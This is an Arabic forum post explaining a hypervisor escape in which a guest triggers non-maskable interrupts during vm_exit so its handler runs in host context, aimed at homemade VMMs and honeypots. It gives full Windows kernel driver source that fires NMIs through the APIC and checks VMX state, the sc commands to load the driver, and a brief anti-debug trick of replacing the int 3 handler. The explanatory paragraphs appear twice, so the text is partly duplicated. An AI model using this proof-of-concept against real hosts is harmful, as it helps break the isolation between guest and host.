04-05-2020, 06:55 AM
(آخر تعديل لهذه المشاركة : 04-05-2020, 06:59 AM بواسطة ahmed_1337.)
كما تعلمون ال virtual machine هي محاولة ل عمل محاكات لل الجهاز لاكن هادا اخير يضل فيه الكتير من العيب ونقص
كمتال بسيط انه بعض instructions لا تشتغل بشكل مطلوب وفي ما قبل ايام ال binary translation كان الكتير من instruction غير مدعومة
ما هي non-maskable interrupt هي interrupt لا تستطيع عمل لها mask متل power on rest حيت لا تستطيع ايقافها ب المعنى الحرفي
معضم مطويري virtual machine يقومون باشيء لتسهيل عملهم كتمال بسيط هوا انه يعمل تشارك في IDT و PIC بين guest و host وهادا شي خطير نوعا ما ف ادا تمكنت من وصول لل kernel land في guest تستطيع تحكم في host
لأن هادا اخير IDT هوا جدول يوجد به كل interrupt و handler تبعاها مادا لوا قما بتبديل handler خاصة ب interrupt تبع mouse ب شيء متل print hello world كل مرة تقوم ب تحريك ال mouse رح ينطبع hello world هادا بس تبسيط للفهم فقط
بنسبة لل PIC فهوا chipset في الكمبيوتر تقوم بمعالجة ال interrupts ولها configuration خاصة فيها وفي حالة وصول لهاده config وتعديل عليه فقد نسبب مشاكل متلا نبدل في priority بين interrupts تبع timer و disk controller نعمل لهم swap
xD هادا رح يخربق كل شي على كل لا اريد ان اطيل عليكم
كيف يشتغل هادا نوع من الهرب
نحتاج ل guest يتوفر على 2 core سواء logical او physical لا يهم
حيت سوف نقوم بعمل registration ل callback خاص ب عمل handling لل non-maskable interrupt
وبعدين سوف نقوم ب محاولة لجعل core 1 يطبق عملية vm_exit و في نفس الوقت سوف يرسل core 2
interrupt من نوع non maskable مما سوف يدعنا ننفد ننفد handler في context خاص ب ال host لي في هاده الحالة vmm
اعمل له compile ب debug عشان تقدر تشوف output في Dbgview خاصة ب sysinternals على كل هاد شي لا ينطبق على
vmm متل vmware و virtual box و كبار لاكن قد تجده في handmade honeypot
على كل لعمل load لل driver
sc create driverName type= kernel binPath= C:driver.sys
sc start driverName
بعدين راقب في dbgview
اريد ان اشير لطريقة جميلة لل anti debug وهي تغير handler خاص ب int 3 في هاده الحالة نتكلم عن trap و ليس interrupt لاكن نفس شيء تقريبا
كمتال بسيط انه بعض instructions لا تشتغل بشكل مطلوب وفي ما قبل ايام ال binary translation كان الكتير من instruction غير مدعومة
ما هي non-maskable interrupt هي interrupt لا تستطيع عمل لها mask متل power on rest حيت لا تستطيع ايقافها ب المعنى الحرفي
معضم مطويري virtual machine يقومون باشيء لتسهيل عملهم كتمال بسيط هوا انه يعمل تشارك في IDT و PIC بين guest و host وهادا شي خطير نوعا ما ف ادا تمكنت من وصول لل kernel land في guest تستطيع تحكم في host
لأن هادا اخير IDT هوا جدول يوجد به كل interrupt و handler تبعاها مادا لوا قما بتبديل handler خاصة ب interrupt تبع mouse ب شيء متل print hello world كل مرة تقوم ب تحريك ال mouse رح ينطبع hello world هادا بس تبسيط للفهم فقط
بنسبة لل PIC فهوا chipset في الكمبيوتر تقوم بمعالجة ال interrupts ولها configuration خاصة فيها وفي حالة وصول لهاده config وتعديل عليه فقد نسبب مشاكل متلا نبدل في priority بين interrupts تبع timer و disk controller نعمل لهم swap
xD هادا رح يخربق كل شي على كل لا اريد ان اطيل عليكم
كيف يشتغل هادا نوع من الهرب
نحتاج ل guest يتوفر على 2 core سواء logical او physical لا يهم
حيت سوف نقوم بعمل registration ل callback خاص ب عمل handling لل non-maskable interrupt
وبعدين سوف نقوم ب محاولة لجعل core 1 يطبق عملية vm_exit و في نفس الوقت سوف يرسل core 2
interrupt من نوع non maskable مما سوف يدعنا ننفد ننفد handler في context خاص ب ال host لي في هاده الحالة vmm
#define _AMD64_
#include <ntddk.h>
#include <intrin.h>
#define X2_MSR_BASE 0x800
#define ICROffset 0x300
#define TO_X2( x ) ( x / 0x10 )
PVOID NMICallbackHandle = nullptr;
PVOID threadhandle = nullptr;
int escaped = 0;
void( *TriggerNMI )( UINT32, UINT32 ) = nullptr;
void *apicBase = nullptr;
BOOLEAN NMICallback( PVOID context, BOOLEAN handled )
{
size_t vmcslink = 0;
__try{
if( !__vmx_vmread( 0x00002800, &vmcslink ) ){
if( vmcslink != 0 )
_InterlockedOr( ( volatile LONG* )&escaped, ( 1 << KeGetCurrentProcessorIndex( ) ) );
}
}
__except( 1 ){
}
return TRUE;
}
void XTriggerNMI( UINT32 low, UINT32 high )
{
*( UINT32* )( ( uintptr_t )apicBase + ICROffset + 0x10 ) = high;
*( UINT32* )( ( uintptr_t )apicBase + ICROffset ) = low;
}
void X2TriggerNMI( UINT32 low, UINT32 high )
{
__writemsr( X2_MSR_BASE + TO_X2( ICROffset ), ( ( UINT64 )high << 32 ) | low );
}
INT32 InitializeAPIC( void )
{
UINT64 apicBaseMSR = __readmsr( 0x1B );
if( !(apicBaseMSR & ( 1 << 11 ) ) )
return STATUS_FAILED_DRIVER_ENTRY;
if( apicBaseMSR & ( 1 << 10 ) ){
TriggerNMI = X2TriggerNMI;
return STATUS_FAILED_DRIVER_ENTRY;
}
else{
PHYSICAL_ADDRESS paAPICBase;
paAPICBase.QuadPart = apicBaseMSR & 0xFFFFFF000;
apicBase = MmMapIoSpace( paAPICBase, 0x1000, MmNonCached );
if( !apicBase )
return STATUS_FAILED_DRIVER_ENTRY;
TriggerNMI = XTriggerNMI;
}
return STATUS_SUCCESS;
}
ULONG_PTR IPIHandler( ULONG_PTR context )
{
if( escaped != ( 1 << KeNumberProcessors ) - 2 ){
if( KeGetCurrentProcessorIndex( ) != 0 ){
int cpuid[ 4 ] = { };
__cpuid( cpuid, 0 );
}
else{
TriggerNMI( ( 4 << 8 ) | ( 1 << 14 ) | ( 3 << 18 ), 0 );
}
}
else{
//really at this point we could just specifically interrupt core 0, but you can add that if you want
if( KeGetCurrentProcessorIndex( ) == 0 ){
int cpuid[ 4 ] = { };
__cpuid( cpuid, 0 );
}
else{
TriggerNMI( ( 4 << 8 ) | ( 1 << 14 ) | ( 3 << 18 ), 0 );
}
}
return 0;
}
void kthread( void* )
{
do{
KeIpiGenericCall( IPIHandler, 0 );
} while( escaped != ( ( 1 << KeNumberProcessors ) - 1 ) );
PsTerminateSystemThread( 0 );
}
void DriverUnload( PDRIVER_OBJECT object )
{
if( threadhandle ){
void* obj = nullptr;
if( NT_SUCCESS( ObReferenceObjectByHandle( threadhandle, THREAD_ALL_ACCESS, nullptr, KernelMode, &obj, nullptr ) ) ){
KeWaitForSingleObject( obj, Executive, KernelMode, FALSE, nullptr );
ObDereferenceObject( obj );
ZwClose( threadhandle );
}
}
if( NMICallbackHandle ) KeDeregisterNmiCallback( NMICallbackHandle );
if( apicBase ) MmUnmapIoSpace( apicBase, 0x1000 );
for( int i = 0; i < KeNumberProcessors; i++ ){
if( escaped & ( 1 << i ) )
DbgPrint( "Core %i escaped\n", i );
}
return;
}
NTSTATUS DriverEntry( PDRIVER_OBJECT object, PUNICODE_STRING path )
{
object->DriverUnload = DriverUnload;
InitializeAPIC( );
NMICallbackHandle = KeRegisterNmiCallback( NMICallback, nullptr );
if( !NMICallbackHandle )
return STATUS_FAILED_DRIVER_ENTRY;
return PsCreateSystemThread( &threadhandle, 0, 0, 0, 0, kthread, 0 );
}
اعمل له compile ب debug عشان تقدر تشوف output في Dbgview خاصة ب sysinternals على كل هاد شي لا ينطبق على
vmm متل vmware و virtual box و كبار لاكن قد تجده في handmade honeypot
على كل لعمل load لل driver
sc create driverName type= kernel binPath= C:driver.sys
sc start driverName
بعدين راقب في dbgview
IDT : Interrupt Descriptor Table
PIC: Interrupt Controller 8259,8259A,IOAPIC
اريد ان اشير لطريقة جميلة لل anti debug وهي تغير handler خاص ب int 3 في هاده الحالة نتكلم عن trap و ليس interrupt لاكن نفس شيء تقريبا